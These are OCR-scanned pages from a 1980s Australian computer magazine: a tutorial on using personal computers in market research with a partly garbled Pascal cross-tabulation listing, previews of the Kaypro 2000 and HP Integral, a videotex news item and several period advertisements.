GEC also supplied the computers on 
which Viatel operates. 

Teleview is claimed to be the world's 
most sophisticated information system, 
and the Telecommunications Authority of 
Singapore plans to distribute up to one 

million terminals among homes and 
businesses on the island. 

As the influential London newspaper, 
the Financial Times, noted: “Teleview’s com- 
bined system is likely to have considerable 
potential in other countries, particularly in 
the Far East. Britain’s viewdata (videotex) 
system looks likely to become a world 
standard. It has been adopted by many 
other European countries, as well as Hong 
Kong, Malaysia, Australia and New Zea- 
land.” 

A demonstration of the Singapore sys- 
tem — which has had to get around the 
problem of sending Chinese characters 
and pictures swiftly down phone lines — 
is planned for September. It is scheduled 
to go into full operation in 1987. O 

GAIDPIDPDPIPIDPIDDIPIPIPDPIPPIWDIIVPIPIVIDIIIIIVIIIPIIIIVDIVIIIOS 

Bi-XT 

Suite 23 — 
2A Bayswater Road, 

CGOWPDPPDPPIIDIDIIIIVIIIIIIIGS 

98 

-88 16 

Bi Computer Pty. Ltd. 
inton House, 

KINGS CROSS, NSW 2011 
@ Tel: (02) 356-2388/356-2962 
@ All correspondence to: P.O. Box 896, Potts Point, NSW 2011 
OOVVIVADAIDIGIGIVIVIIDIIIIIIIIIIIIIIWVIIIIIIIVIIO 

from 
bit system 

$2500 
For: Integrated Accounting 

Word Processing 
Spreadsheet 
Point-of-Sale —— 

= Cash Register Hookup 
: e Twin Floppy Double Density Drives 

e Soft disk for 3rd drive 
e 256K Expandable to 640K 
® Multifunction card 
e Colour/Mono Graphics 
OPTIONAL — 10/20 Megabyte Hard Disk 
We also carry a wide range of printers, 
stationery, manuals, accessories, screens, etc. 

In WA contact: PARADIGN BUSINESS SYSTEMS 
34 Canterbury Drive, Willetton 6155. (09) 457-6336 

©OBGGAGIAIIIIIIIIIIIIIIIIIIIVIIO 



When was the last fime 
a wordprocessor helped you 

prepare your invoices? — vw” 
ngtietaly 

"a ees CC eu? Ao 

J} 
= QR 

= 

S- ™ 
aes 

Q 

DELIVER TQ 

Attention: Mark Hassler | Wal Wrekit 

Australiawide Distributors 28 O*Royden Street 

384 Clarence Street Alexandria 2048 
( By ni : [ 

|| Steel Side Fittings 
|| Snap-in panelling 

INVOICE (attention: mark Hassler ) { wal wWrekit 
TO: Avstraliawide Distributors ) ( 28 O'Royden Street 

(384 Clarence St Sydney 2000 ( Alexandria 2048 

DESPATCHED PER: OUR REP: ORDER NO: SALES TAX NO TERMS INV.DATE 
( Road Freight 1 C 1234 VC 112 ) 5 } {7 pays) (6/6/87 ) 

DESCRIPTION RDERED DELIVERED PRICE 

) 
] 
] 
) 
) 
) 
) 
) 
) 
) A A ee MqAGAaAYavVannanw me 

i 
2 

3 
4 

5 
6 

¢ 

¢ 

¢ 
ce 

TOTAL ${ 2388.15 } 
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INVOICE TOTAL $[ 3045.48 } 

Helping you prepare invoices is just one way Spellbinder wordprocessor and office 
management system can be speeding paperwork through your office. Spellbinder is 
the most talented and easiest to use CP/M wordprocessing system. Facilities which 
the others sell as extras, like mailmerging and sorting are standard features on 
Spellbinder. And because they are fully integrated they’re quicker and easier to use. 
And that’s just the start. Spellbinder comes complete with a series of powerful built-in 
application programs which are easily tailored to perform office tasks like invoicing, 
reports and calculations. 

When you want help in the office — whether it involves 
words, numbers or both - there is very likely a Oindd, TM. 
Spellbinder application that can be , Qs wy 
helping out. 
For further information on Spellbinder 
and the name of your nearest 
Spellbinder dealer, call 
Software Source now on (02) 389 6388 

MANAGY STEM 

(4 Exclusive Australasian Distributor. 

Software Source Pty Ltd. 

PO Box 311, Bondi Junction 
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PERSONAL COMPUTERS IN 
MARKETING 

Les Bell is not just a computer journalist — he is 
also a marketing consultant working in the computer 
industry, an Associate of the Australian Marketing 
Institute, and has won two Awards of Merit from the 
AMI. So we thought we'd make him combine his 
talents and do something useful — a new Bell series 
is born. 
ne os ET ES ot EY cD 

IN THIS TUTORIAL series | hope to provide 

marketing practitioners with a set of per- 
sonal computing skills, together with a 
background awareness of suitable pro- 
ducts and techniques which will assist 
them in day-to-day tasks. The emphasis 
will not be on the ‘John X uses an IBM 
PC to manage a salesforce of 50 and says 
he is more productive’ Sunday- 
supplement style of article, which frankly 
irritates rather than assists. Instead, | am 
committed to describing and illustrating, 
with worked examples, techniques which 
you can put to use immediately. 

The accent in these articles will be on 
marketing, and many of the references 
given will be to marketing texts. Those in 
other management positions and compu- 
ter users generally should also find some- 
thing of interest to them in every article. 

In this series, | shall look at a number of 
different activities performed as part of the 
marketing function. These include: 

™ Marketing research, both primary 
and secondary 
New product development 
Forecasting 

Budgeting 
Planning 
Financial management 
Sales management 
Advertising research 
Direct marketing 
Advertising functions 

Each article will include a general intro- 
duction to how computers can assist in 

each area, discussion of specific techni- 
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ques which are well suited to computer 
use, a sample program or spreadsheet in 
many cases, and a brief review of commer- 
cial products which address the particular 
problems involved. 

I'd like to kick off by looking at the start 
of the whole marketing cycle: the consum- 
er. Contrary to the belief of many of our 
general readers, companies do not simply 
buy a batch of the cheapest materials they 
can get, cobble together a product at the 
lowest possible price and then spend mil- 
lions of dollars on advertising to foist a 
sub-standard product on a public which 
doesn't really want it but is tricked into 
buying it by subtle psychological advertis- 
ing techniques. 

Marketing should concern itself with the 
production of goods and services which 
satisfy the needs and desires of the con- 
sumer. In other words, it is easier — and 
more profitable — to sell people some- 
thing they want, rather than to try to con- 
vince them they really want something 
else. 

Research 

The key (from one view at least) to market- 
ing is therefore finding out what people 
want and need, a process known as market 
research. There are two kinds of market 
research:primary research and secondary 
research. Secondary research is done at 
one’s desk or in a library, and consists of 
discovering industry trends, competitors’ 
sales and similar information. This will be 
the subject of a later article. 

Primary research involves going directly 
to the consumer and asking questions, or 
in some other way eliciting information 
about the consumer's attitudes to and im- 
pressions of product and advertising attri- 
butes. Many readers will have encountered 
interviewers in the street, and some may 
recall being stopped while browsing in a 
computer store and asked a series of ques- 
tions about what they read, what they were 
planning to buy next, and so on. That was 
yours truly, gathering data for Your Com- 
puter! 

Primary research breaks up further into 
two basic types of research: qualitative 
and quantitative. 

Qualitative research generally involves 
setting up discussion groups: groups of 

three to ten consumers who sit around 
discussing products or whatever while a 
moderator makes notes and ensures that 
all relevant topics are covered and that 
quieter members of the group get an 
opportunity to have their say. Here the 
accent is on discovering the kinds of things 
people feel about companies and their 
products. 

Qualitative research is used in defining 
problems, generating new product ideas, 
suggesting hypotheses to be used in sub- 
sequent research, and learning the van- 
tage point and vocabulary of the consum- 
er, among other applications. It does not 
lend itself to computer analysis, but the 
personal computer or microcomputer can 
be useful to researchers using qualitative 
methods. 

For example, attendees at group discus- 
sions are usually drawn from people pre- 
viously interviewed, and such selection 
can be done very easily by using the com- 
puter to pick them from a database. This 
allows complex selection criteria to be ap- 
plied, such as product usage combined 
with socio-economic status and age. 

Once a group discussion has been com- 
pleted, a researcher will need to write a 
report based on the views expressed by the 
group(s). Quite apart from the obvious vir- 
tues of word processing on a personal 
computer, new products like ThinkTank 
and Framework are useful for brainstorm- 



Questionnaire design and layout 
Telephone interviewing: dialling and response direct entry 
Sample size calculation and sample selection 
Cross tabulation 
Statistical Techniques 

Significance Tests 
Regression Analysis 
Multivariate Analysis 

Discriminant Analysis 
Factor Analysis 
Multi-dimensional Scaling 
Cluster Analysis 
Perceptual Mapping 

Presentation Graphics 
Report Design 

Word Processing 
Report Indexing 

Table |. Applications of personal computers in market research. 

ing and creating the overall organisation of 
the report before writing it. I'll return to 
these products later. 

Incidentally, astute readers may have 
realised that Synergistic Beer Drinking, 
where we invite our readers to air their 
views to YC staff is actually a thinly-veiled 
disguise for some qualitative research! 

Quantitative research is less conceptual 

and more number-crunching, which is 
where — to date — computers have tradi- 
tionally shown their strength. Here statis- 
tical techniques come to the fore. | 

The basis of quantitative research is the 
design of a questionnaire which is admi- 
nistered to a suitably selected sample of 
the population. The responses are then 
analysed to provide meaningful results. 
Analysis can be as simple as counting the 
yes and no responses, or counting those 
who use different brands. That’s the sim- 
plest form of tabulation. 

Cross-Tabulation 

In the days before computers, that was just 
about the only technique available, as re- 
sponses were counted by hand. But even 
counting by hand, it’s possible to learn 
more from the completed questionnaires. 
For example, we can ask people what kind 
of car they drive, ask them their age, and 
ask them whether they've had an accident 
in the last three years. 
Now we can discover, obviously, 

whether more people drive Fords than 
Holdens (ignoring, for the moment, that a 
better way to find that out is from sales 

Statistics), and what proportion of the 
sample and hence the population — 
have had an accident recently. That's 
Straight tabulation of results. 

The next stage is to ask questions which 
can only be answered by combining the 
answers to two or more questions. For ex- 

ample, are Ford owners younger, on aver- 
age, than Holden owners? Are Volvo own- 
ers really safer drivers? 

To answer the age question, for exam- 
ple, we would break the respondents into 
age groups — say, 17-25, 25-35, 35-45, 45- 
55, 55-65 and 65 and over. Then we would 
set up counters for each type of car and 
each age group, if there are 20 types of car 
and six age groups, that would mean 120 
counters. On reading through the com- 
pleted questionnaires, when we come 
across a Ford driver aged 37, we increment 
the appropriate counter. 

This technique is called cross- 
tabulation, and it is the basic element 
upon which all further statistical analysis 
is based. The basic logic is fairly simple, 
but a program to do it has to cope with 
considerably more complexity. For exam- 
ple, what does your program do when it 
encounters a 37-year-old who owns both a 
Range Rover and a Ferrari? In different 
kinds of survey, a market researcher will 
want to handle that problem differently, 
and a good market research program must 
be able to cope regardless. 

The other part of the design of a cross- 
tabulation program is all the input and 
output. Input screens have to be designed 

which allow rapid and accurate data entry 
and which also perform some preliminary 
validation and editing to screen out incor- 
rect entries. For example, entry of the re- 
spondent’s sex is not normally a multiple 
choice question! 

Cross-tabulation was once done mostly 
by mainframe bureaus which specialised 
in supplying services to market research 
companies until the late Seventies, when 
the microcomputer came along. Today, 
survey analysis is rapidly being transferred 
to microcomputers, which the smal] mar- 
ket research company or department can 
easily justify, except in the case of very 
large surveys. 

If you are interested in the internals of 
cross-tabulation programs, several years 
ago | wrote one for a project | was involved 
in, and I have extracted the code for the 
central tabulation part of the program and 
reproduced it as Listing |. Obviously, this 
is only asmall part of the 642-line program 
and doesn’t make a great deal of sense on 
its own, but it shows the basic technique of 
checking for certain responses and in- 
crementing counters. Readers can obtain 
the complete program on disk, free of 
charge for their own private or commercial 
use. The only thing I ask is that you don't 
tidy it up and sell it. 

The program was written completely in 
Pascal over a period of a couple of weeks, 
and regular readers will perhaps recognise 
it as the project which put me off Pascal for 
life. One oddity of the program is that the 
variable names reflect the first application 
of the program, which was a survey on the 
marketing of public transport. Nonethe- 
less, it is a complete, working, system 
which can be used for surveys of up to 100 
questions (on an 8-bit machine — more on 
16-bit) on any topic with virtually no limit 
on the number of questionnaires fed in. 

Readers who work for a market research 
company or department and are doing full- 
time survey work will need something 
rather more powerful, however, and there 
are suitable programs available. Probably 
the most successful is a package called 
Microtab, written in Melbourne and mar- 
keted by Yann Campbell Hoare Wheeler, a 
well-respected market research company 
in its own right. 

Microtab is quite different from the 
mainframe-based systems with which 
most researchers are familiar. It is de- 

signed to run on either single-user or net- 
worked personal computers. Networks, in 
particular, allow one machine to perform D> 
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segment procedure crosstab;: 

var 

transq ! qnairei 

answertile =: tile of qnaire;: 

nas» qcnt : integer: 

descs : array[1..maxcol] of anstypei 

segment procedure readtypes; 

var 

descriptiontile : 

thisquestdesc : 

tile of qdesc; 

adesci 

begin 

reset(descriptiontile,desctile); 
while not Eof(descriptiontile) do begin 

thisquestdesce «= descriptiontile’: get(deseriptiontile): 

= thisquestdesc.qtype; descs(thisquestdesc.colna) 
end: 

nqs := Size(descriptiontile)i 

close(descriptiantile): 

end; 

procedure subtotal (count: choice): 

begin 

with transq do begin 

i¢ 1 in mostC3J.mans then 
coltotCtrain»sgent,countl] += caltotCtrain»sgent»,countl] + 13 

it 2 in mostC3).mans then 
coltotCterryrqentr,countl] += caoltotCterryrgent,countl + 13 

if 3 in most{C3].mans then 

coltotCgpvbus -qent»count)] := coltotCgovbus,sqent»count] + 13 

if 4 in mostC3].mans then 
coltotCprivbus»qent,count)] *= coltotCprivbus»qent»count)] + 13 

if 1 in mostC4J].mans then 

procedure stotals: 

var 

count * integeri 

begin 

tor count := 1 to maxchoice do begin 

if count = transq.mostCqent)].sans then begin 
coltotCruntotsacnt count) := caoltotCruntot»qent count) + 13 
subtotal (caunt) i 

end; 

end; 

end; 

begin 

Conact(0); 
Writeln(’Survey Analysis System - Response Analysis’): 

(#SI-#%) 
readtypesi 

reset(answerfilessurfile)i 
while not EOF (answertile) do begin 

GoToXY(0>5)i 
Writeln(’Processing record no. ’>»Next(answertile))i: 

transq := answuerfile’; get(answerfi le); 

resps := resps + 1; 

with transq do begin 

for gent :=1 to nas do begin 

case descs(qent] of 
multi += mtotals; 

single : stotalsi 

end: 

end; 

end; 

end; 

close(answerfilie) i 

(HSI +) 
end; 

caltotCear>sqentscountl] := coltotCecar>rqent»,countl] + 1; 

end; (# with *) 
end; (* subtotal! *) 

procedure mtotails: 

var 
cOunt ' integer; 

begin 

for count *= 1 to maxchoice do begin 

if count in transq.mostCqcnt].mans then begin 
coltotCruntot»qentscount) *= coltotCruntot»qentscount] + 13 
subtotal (count) 

endi 

end; 

end: 

Listing 1. Sample cross-tabulation code from my market research program. 

the processor-intensive cross-tabulation 
while others print reports or do data entry. 

Microtab is completely parameter- 
driven, and reads its questionnaire de- 
scriptions, data entry specifications, report 

formats, and so on from files which are 
created by the researcher. Users make their 
choices from menus, so no complex com- 
mand language need be learnt, and the 
program provides a 25th-line help mes- 
sage as specifications are entered. 

Data entry is designed for high-speed 
Operation; in many cases even the return 
key need not be pressed. The screen auto- 
matically prompts with the appropriate 
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question number, and will skip over ques- 
tions that need not be answered. Data is 
automatically validated and the system re- 
quests re-entry if an error is detected. The 
operator can even step backwards to cor- 
rect errors. 

Microtab’s cross-tabulation capabilities 
are particularly advanced; in particular, it 
allows the creation of what are termed 
‘hierarchical questions’. These simplify en- 
try and analysis of, for example, semantic 
differential rating scales for a range of pro- 
ducts. These usually take the form of 
‘strongly agree / agree / neutral / disagree / 
strongly disagree’ responses to a series of 

Statements or product attributes. An 

alternative example might be a set of ques- 
tions which ask the respondent how long it 
has been since he or she last used a par- 
ticular type of transport. Microtab handles 
these much more conveniently than earlier 
programs. 

One of the trickiest parts of generating 
reports — and one that provides the least 
return for the researcher — is specifying 
report layouts and formats, column 
widths, titles and so on. Microtab does this 
automatically, laying out headings on up 
to 10 lines for best appearance, and even 
generating an automatic page index. Mic- 



rotab can even output its results into a 
Graftalk run file to automatically generate 
bar and pie charts. 

Apart from the basic facilities of cross- 
tabulation and reporting, Microtab also 
adds sophisticated facilities for recoding 
questions to permit further analysis. For 
example, data such as respondent's age 
can be divided into coded intervals, or 
manipulated arithmetically. 

Microtab is written in compiled BASIC 
and runs on a variety of 8- and 16-bit 
machines, principally Televideo and IBM. 
A hard disk is virtually mandatory for hand- 
ling large surveys and providing faster op- 
eration. A single-user set of software is 
priced at $6000, while multi-user software 
varies between $11,000 and $20,000. 

Statistical Techniques 

Once data has been cross-tabulated, the 
researcher can now bring to bear a battery 
of more sophisticated statistical techni- 
ques. Some of these are concerned with 
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assuring the statistical significance of the 
data, while others are more concerned 
with data interpretation. 

A number of statistical packages are 
available for personal computers; their 
major limitation compared to mainframe 
packages is the size of the data sets they 
can handle. With most 8-bitmicros, for ex- 
ample, the limit is measured in the hun- 
dreds of cases, while on 16-bit machines it 
can be up to 10 times higher. 

Packages like Microstat and Abstat, for 
example, offer a wide range of facilities for 
data analysis. The core of the system is a 
data management subsystem which can 
construct a database, sort and order the 
data and perform various transformations 
on it. Related programs then produce va- 
rious reports on the database. 

These start with elementary descriptive 
Statistics such as mean and standard de- 
viation, skewness and kurtosis, progress 
through analysis of variance (one-way and 
two-way ANOVA), correlation and regres- > 
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sion analysis and (and this is is where | 
Start to get left behind) time series analy- 
sis and nonparametric tests such as Wald 
Wolfowitz, Kruskal-Wallis and Kolmo- 
gorov-Smirnov. 

These packages are probably of most 
use to market research professionals or 
Statisticians working in the social sciences. 
Marketers with a lesser requirement might 
find their needs better met by a pocket 
calculator with statistical functions, or a 
Super-spreadsheet program. 

The Hewlett-Packard HP-41ICV calcula- 
tor, for example, has 319 memories, and 
when used with its plug-in statistics mod- 
ule, can do a lot of common or garden 
Statistical work. The Stat Pac, as it is 
known, includes a number of common sta- 
tistical programs (see Table 2), and has got 
me by for years. 

By a super-spreadsheet, | mean some- 
thing like the next version of Open Access 
(currently in beta testing but due for re- 
lease in the next few months). This inte- 

grated package includes a powerful data- 
base, word processor, spreadsheet and 
graphics. The next major release will also 
include statistical capabilities of a high 
order (see Table 3) in the spreadsheet, 
which means it can acquire data from the 
database and graph its output (including 
refinements like three-dimensional bar 
charts) using its standard graphics 
package. 

Other, more specialised packages are 
available, and in particular some packages 
are moving from mainframes to micros. 

Perhaps the best known is SPSS, which is 
available for the IBM PC from Sourceware 
in Sydney. 
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Apart from purely statistical analysis, 
microcomputers are also an important 
tool for the graphical presentation of data. 
Programs like BPS Business Graphics, 
Graftalk, DR Graph and Microsoft Chart 
permit graphs to be created and manipu- 
lated on screen and then plotted in just 
minutes. Plotter output can be photo- 
copied onto transparencies for overhead 
projection, while for the best dramatic 
effect, the Polaroid Palette can be used to 
create 35 mm slides. 

Apart from purely graphical techniques, 
recent innovations combine statistical 
analysis with graphic presentation to pro- 
vide new insights. While techniques such 
as multi-dimensional scaling and factor 
analysis, or perceptual mapping, have to 
date been performed mostly on main- 
frames, the new generation of supermicros 
has the raw computing power to take on 
the task combined with sophisticated 
high-resolution colour display technology 
which will add new qualities to these tech- 
niques. 

Knowledge Workers 
All these programs relate purely to the 
unique activities of market research. Once 
this kind of activity has been completed, a 
report has to be written and submitted to 

the client (in the case of an agency) ortoa 
product manager or marketing director (for 
an in-house MR department). All the acti- 
vities of report preparation and presenta- 
tion are obviously fair game for the ap- 
plication of office automation techniques 
involving personal computers — word pro- 
cessing, graphics, data communications 

and so on. In fact, market researchers so 
closely fit the description of ‘knowledge 
workers’ for whom personal computers are 
expressly designed that I’m surprised 
there are still researchers who don’t use 
them! 

By now, you should be completely sold 
on the benefits of personal computers in 
market research. They assist with the long 
process of converting raw data into in- 

formation, then transforming that in- 
formation into knowledge and ultimately 
into wisdom. At each stage, by using the 
personal computer, a researcher can re- 
analyse or in some way process the data to 
gain fresh insight — without the necessity 
of paying for expensive mainframe proces- 
sing power. 

More than anything else, the benefit of 
the personal computer lies in independ- 
ence from expensive mainframes and the 
freedom to try statistical techniques on 
the off-chance that they might reveal 
something. This allows more time to con- 
centrate on preparation of a report, 
another area where the computer can 
assist. We are often told that an intangible 
benefit of personal computers is ‘im- 
proved quality of decision-making’; market 
researchers should be able to benefit 
directly from this, and should find that 
benefit to be tangible. O 



Towards the Kaypro 2000........................-++.106 
Not a review, but a preview. Kaypro’s new Australian 
subsidiary, Vizden, is striding boldly into the market- 
place, with its AT compatible likely to arrive before the 
AT itself and an IBM-compatible laptop, the Kaypro 
2000, due to appear in Australia next month. A 
machine with interesting optional extra, the 2000 has 
been compared to a Porshe and an air-conditioning 
unit. It's main selling point? Price. 
By Rose Vines 

HP’s Integral — All in One..........................109 
You must have seen it around; the Integral has been one 
of the very few exciting offerings at this year's computer 
shows. It's got almost everything — printer, disk drive, 
large screen, keyboard, CPU, and even a mouse if you 
like — built in, and can only be described as ‘neat’, both 
in the American and ordinary sense of the word. Unfor- 
tunately, unlike the Kaypro, the Integral’s pricing 
makes it a dream machine for most — Les takes a 
longing look. 
By Les Bell 

DNC AG ioc ec ececne cues sa scnoswnsseneedencciwectorseecaccceaeees le 
As the Great Database Search rolls inexorably toward 
its conclusion ... we keep finding more packages worthy 
of inclusion. Meta4 is a late starter, but certainly worth 
a visit. Yes, you see, it's rather like a building (or two or 
three), with rooms, and objects in rooms, and doorways 
between rooms. If you're not careful you'll be in for a 
right old game of hide and seek. 
By Jeff Richards 

IBM Underground .................ssccssscsssscssseeeese L2D 
‘Hide’ your files, feed them to the CAT and use 
WHEREIS to find them again. 
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TOWARDS THE KAYPRO 2000 - 

A Preview 
Powerful, full-featured laptop computers have started 
to appear on the scene in the last 12 months, with 
some very sophisticated offerings. Most of them also 
have very sophisticated prices — often as high as (or 
higher than) equivalent desktop models. Kaypro is 
about to weigh in with a little box which won't cost 
the earth. 

KAYPRO HAS been busy in recent months. 
In the United States, the company has in- 
troduced three new IBM-compatible 
machines since the beginning of the year 
— the Kaypro 16 and Kaypro 16/2 port- 
ables, and the AT-compatible 286i. 

Now the company has launched a lap- 
top machine, which it describes as ‘the 
Porsche of laptop computers at a Volks- 
wagen price’. The laptop market has be- 
come the latest hotbed of activity in the 
computer industry, with Hewlett-Packard 
and Data General radiating the most heat. 
Both these companies’ machines combine 
design excellence with intimidating price- 
tags, restricting their market to the ‘execu- 
tive on the move’ set. Kaypro hopes to 
attract some of the masses with its 
USS1995 Kaypro 2000. 

Kaypro’s New Image 

What has the 2000 to offer? For a start, 
Kaypro has abandoned its big, clunky, met- 
al-box image. The 2000 is housed in a 
Sleek, brushed-aluminium case which 
opens to reveal an adjustable LCD screen, 
pop-up microfloppy disk drive and detach- 
able keyboard. 

It is as IBM compatible as any machine 
can be when using 9cm microfloppies; the 
IBM machine uses 13 cm minifloppies with 
360 Kbyte capacity. The Kaypro disks. will 
hold twice the information, but getting in- 
formation to and from IBM diskettes re- 
quires additional hardware. Kaypro 
assures us software on microfloppies is 
becoming increasingly available, especial- 
ly since the release of the Data General/ 
One with its 9 cm drives. The Kaypro 2000 

106 

will accept DG/One MS-DOS material. 
Kaypro’s laptop offers a variety of ways 

of accessing data and programs held on 13 
cm disks: an optional base unit comes with 
one 13 cm drive and room for another (ora 
hard disk or second 9 cm drive); a disk 
adaptor can be connected to an external 13 
cm drive; or the disk adaptor coupled with 
a PC card and cable lets you connect the 
2000 directly to the disk drive of an IBM or 
compatible machine. 

The base unit also adds two IBM hard- 
ware slots, an additional serial port and a 
parallel port to the system. It connects to 
the standard 2000 through a 100-pin con- 
nector. When the 2000 and the base unit 
are combined, they look somewhat like an 
air conditioning unit! It may sound awful, 
but it looks very neat. 

The Kaypro 2000 baring its all 
(right), and snuggling into the 
optional base unit (below). 

A Powerful Bundle 

The standard configuration of the machine 
includes an 8088 processor running at 4.77 

MHz, a built-in real-time clock, 256 Kbytes 
of random access memory, a rechargeable 
battery pack which provides about four 
hours’ continued use, an AC adaptor/char- 
ger and a carrying case. The screen dis- 
plays 25 lines by 80 columns with 640 by 
200 pixel bit-map graphics. 

The four-hour operation limit of the bat- 
teries seems barely adequate, but it’s 
possible to buy a spare external battery 
pack which gives an extra four hours’ op- 
eration. In fact, there is a multitude of 
optional extras which will add to the flex- 
ibility, if not the portability, of the 
machine. 

In its usual graceful manner, Kaypro has 
included a pile of software to get you 
started on computing straightaway: MS- 
DOS, GW-BASIC, WordStar, MailMerge, 
InfoStar+, CalcStar and tutorials are bun- 
dled with the hardware. 

Unfortunately, the USS1995 price-tag 
will disappear by the time the machine 
reaches our shores in August. Vizden, 
Kaypro’s local subsidiary, hopes to be sell- 
ing the 2000 for about $3600, depending 
on the US/Australian exchange rate. At this 
price it will still compare favourably with 
many of the other machines on the local 
scene. Keep your lap free in anticipation.O 
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handel 
Can you tell the difference between an 
independent front end and a shot shock? 
Do you know an ARGO from a G-Wagen? 
Are you aware of seasonal road conditions 
on the Canning Stock Route? 

OVERLANDER has the answers to these and 
hundreds of other questions about one of 
Australia’s fastest growing leisure pursuits — 
four-wheel driving. 

Each new 4WD vehicle released is treated to a 
comprehensive report, and usually a full road test, 
by some of Australia’s top motoring writers. 

Our excellent technical features, too, have earned 
OVERLANDER its reputation as the definitive voice 
on off-roading in Australia. Each month we cover 
several areas of significance to 4WD owners — 
suspension, differentials, wheels and tyres, CB 
radios and much more. 

If you own a four-wheel drive, are contemplating 
buying one or are just interested in this exciting 
area... get into your newsagent now and get into 
gear with OVERLANDER. 

Don’t go bush without it! 
= 
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SIEMENS 

Before you finally decide on your 
computer, make sure your first add-on will 
be a printer that is reliable, versatile and 
quiet. Siemens PT88 and PT89 can be 
interfaced with most computer systems. 
Look for these peak performance 
features. 

Full EPSON® compatibility 

80 or 132 column 

Variable character pitch 

High speed (150 cps) printing 

Tractor and friction feed 

Full graphics capability 

Consistent print quality 

High duty cycle 

Siemens PT88 and PT89 Ink-Jet Printers 
put it all together with one compact, super 

(i a 

* IBM is a registered trademark of International Business Machines Corp. 

SS 
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silent unit. You'll appreciate the long term 
value and a quietly efficient working 
environment. 

Distributed Australia wide by: 

BDS Computer Australia Pty. Ltd. 
Melbourne: (03) 690 1222 
Sydney: (02) 437 4122 
Brisbane: (07) 353 3090 
Adelaide: (08) 799211 
Perth: (09) 322 1206 

BDS Dealers 
ACI Computer Services (03) 5436166 
Insystems Pty. Ltd. (03) 690 2899 
Hisoft Aust. Pty. Ltd. (03) 529 2333 
Businessworld Pty. Ltd. (002) 34 8677 
BS Microcomp Pty. Ltd. (03)614 1433 
Siemens Ltd. 
Melbourne, Sydney, Brisbane, Perth 

* 123 and Lotus are trademarks of Lotus Development Corp. 

Make sure you specify 
this super silent printer 
Anything else is Just a lot of noise 

SOOKR RAR IBM* PC 
COMPATIBLE 
SUPPORTS 
LOTUS 123* 
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Send now for Free Booklet 

To BDS, 145 Sturt Street, 
South Melbourne, Vic. 3205 

Please forward your informative free booklet 
on “All you ever wanted to know about printer 
systems . . . now the facts.” 

698/2450 

Quietly impressive printers from Siemens 
™ EPSON is a registered trademark of EPSON America, Inc. 



HP’S INTEGRAL — All in One 

As regular readers will know, Les Bell has always 
had a soft spot for Hewlett-Packard, ever since he 
first spent an entire working holiday's earnings on 
one of its early pocket calculators. Recently he had 
an opportunity to evaluate its new UNIX-based 
transportable. 

THERE’S SOMETHING about Hewlett- 
Packard equipment; a combination of 
good design and manufacturing quality 

that has earned HP a reputation as ‘the 
Rolls-Royce of electronics’. As HP has dis- 
covered, however, it doesn’t matter how 
excellent a product is if it’s not the 
machine most people want. The HP-85, 86 

and 87 desktop computers proved this: 
beautifully designed and built, with excel- 
lent support, they were, however, based 
Upon a proprietary processor, operating 

system and soltware base at a time when 
IBM was showing everyone that the way to 
success was to Open up your machine's 
architecture to other suppliers. 

sesapea ee 

Later HP designs like the HP 150 and 110 
have moved towards the MS-DOS main- 
stream, although they are still not IBM- 
compatible in the usual sense. At this late 
stage of the PC game, it would appear that 
HP is never going to achieve a major mar- 

ket share except in the specialised technic- 
al areas that have traditionally been its 
base. 

But with the end of the PC-DOS/MS- 
DOS era in sight, and with manufacturers 
— including IBM — exploring new I6- and 
32-bit machine architectures, HP has a 
chance to become an early player in the 
next stage of the contest. 

Ironically, with Unix shaping up as a 
major contender for the title of ‘standard 
operating system’, we can expect a change 
in the marketplace which will resurrect 
some of the characteristics of the CP/M 
days. 

Remember when it didn’t really matter 
what kind of machine you bought as long 
as it ran CP/M, since the software could be 
installed to run on any kind of screen? With 
MS-DOS, this changed radically; the oper- 
ating system became almost irrelevant 
and you had to ensure that your prospec- 
tive PC was IBM-compatible, otherwise 
you had no chance of running the most 
popular software. 

The operating system was no longer the 
vehicle for standardisation; instead users 
were forced to adopt hardware standards 
— which suits IBM just fine in one sense 
and not at all in another. 

With Unix, the operating system pro- 
vides more facilities for software portabil- 
ity between machines. Using the termcap 
facility, for example, which supplies ter- > 
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Top: The Integral unfolding: middle: view from above of the printer mechanism; 

bottom: the electroluminescent screen. 
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minal characteristics and escape sequ- 
ences to applications programs, software 

packages can run on virtually any kind of 
terminal. Hardware characteristics are less 
important because the operating system 

itself hides them. 
With the accent removed from hardware, 

therefore, there is scope for manufacturers 
to differentiate their products, yet still pro- 
vide compatibility and, most importantly, 
access to software. In this kind of market- 
place, Hewlett-Packard will be better able 
to compete. 

In the new Integral Personal Computer, 
HP has served notice that it intends to be 
active in this next-generation PC market. 
The Integral is very different from earlier 
portable PCs, and provides an interesting 
preview of the kind of machines we can 
expect in the next couple of years. 

The Hard Part 
The Integral measures just 310 (h) by 220 

(d) by 425 mm, which is smaller than most 
other transportables on the market. It is 
considerably smaller than the Kaypro, for 
example. What makes this especially sur- 
prising is that HP’s offering includes a 
keyboard, screen, disk drive, CPU and 
printer. 

To open up the package, you slide a 
couple of latches on the top of the 
machine and the lid tilts back to reveal the 
printer. Now the keyboard can be folded 
down and plugged in, and the printer hood 
opened to uncover a storage compartment 
for carrying a mouse or disks. 

The front of the machine consists of two 
panels. The larger of these carries an am- 
ber electroluminescent display 195 by 100 
mm, with a resolution of 512 by 255 pixels. 
Thanks to an anti-glare coating and circu- 
larly polarised filter coupled with a selec- 
tion of well-designed fonts, the display is 
very easy to read. It can be tilted upwards 
slightly using a ratchet control at one side 
of the front panel. 

At the right front of the machine is a 9 
cm disk drive. HP was one of the pioneers 
of 9 cm disk usage, and has stayed with 
that format with this machine — it’s logic- 
al for a portable to use as small disk drives 
as possible. Only one drive-is provided in 
the machine, but it is complemented by an 
internal memory disk drive which makes 
up for this deficiency. If more drives are 
required, all HP's standard drives, includ- 
ing hard disks, can be attached through the 
HP-IB (Hewlett Packard Interface Bus; that 

is, IEEE 488) connector on the back of the 

machine. 



The built-in floppy has a capacity of 680 
Kbytes (formatted) and can store up to 160 
files, according to the format-disk utility. 
Of course, the Unix file system can utilise 
sub-directories, so if the disk is treated asa 
conventional Unix file system it should be 
able to go well beyond the 160-file limit. 

Below the screen are two telephone- 
type connectors for the keyboard and 
mouse. The keyboard’s coiled cord very 
sensibly stores in a tray on the keyboard 
itself. The keyboard has a full-size QWER- 
TY layout, with additional keys such as 
‘Select’, ‘Print/Enter’ and ‘Extend Char’ 
which perform various specialised func- 
tions. In particular, the ‘Select’ key, in con- 
junction with the cursor keys, can be used 
to replace the mouse, which is optional in 
any case. 

Above the main keyboard area are the 
soft keys which HP pioneered, together 
with some other specialised function keys 
such as the break key. To the right are the 
numeric pad and cursor keys. Altogether 
there are 90 keys, which have a comfort- 
